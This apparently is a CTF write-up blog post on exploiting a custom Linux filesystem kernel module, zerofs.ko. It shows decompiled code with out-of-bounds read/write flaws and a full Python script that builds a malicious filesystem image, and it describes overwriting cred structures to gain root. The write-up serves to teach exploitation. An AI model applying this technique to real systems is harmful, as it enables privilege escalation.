Overview

zerofs.ko is a driver module of a custom filesystem.
The kernel and the module is compiled by randstruct plugin, which I found in the magic string – vermagic=4.13.0 SMP mod_unload modversionsRANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`.
run.sh and /init show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.

zerofs.ko

I found the module may be modified from simplefs after the game.
By reversing zerofs.ko, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.

zerofs_super_block

The second block records all of the inodes in an array. ino is inode number, and dno is the block number of the image.

zerofs_inode

There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure.

zerofs_dir_record

Vulnerabilitie

There isn’t any bound or size check in read and write function.
If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall zerofs_read(file *filp, char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_to_user(buf, &bh0->b_data[*pos_1], len_1) ) // OOB READ
{
...
}
...
}
ssize_t __fastcall zerofs_write(file *filp, const char *buf, size_t len, loff_t *ppos)
{
...
if ( copy_from_user(&bh0->b_data[*pos], buf, len_1) ) // OOB WRITE
{
...
}
...
}

Constructing Image

To exploit the vulnerabilities, I need to construct an malicious image. Here is the script. I put a file named 666 with size of 0xffffffffffffffff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
block0 = p64(0x4F52455A) + p64(4096) + p64(3) + p64(0xffffffff ^ 0x7)
block0 = block0.ljust(0x1000, '\x00')
block1 = ''
inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)
inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)
block1 += inode1 + inode2
block1 = block1.ljust(0x1000, '\x00')
block2 = ''
block2 += '666'.ljust(256, '\x00')
block2 += p64(2)
block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('fs/tmp/zerofs.img', 'wb') as f:
f.write(img)

Exploit

After mounting the image, I could trigger out-of-bound read by read the file 666.
I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.

I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes system("sha256sum /root/flag");.

The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.

Here is the expliot

get_flag

Comment and share

  • page 1 of 1
Author's picture

Eadom

NO PWN NO FUN


Student


Beijing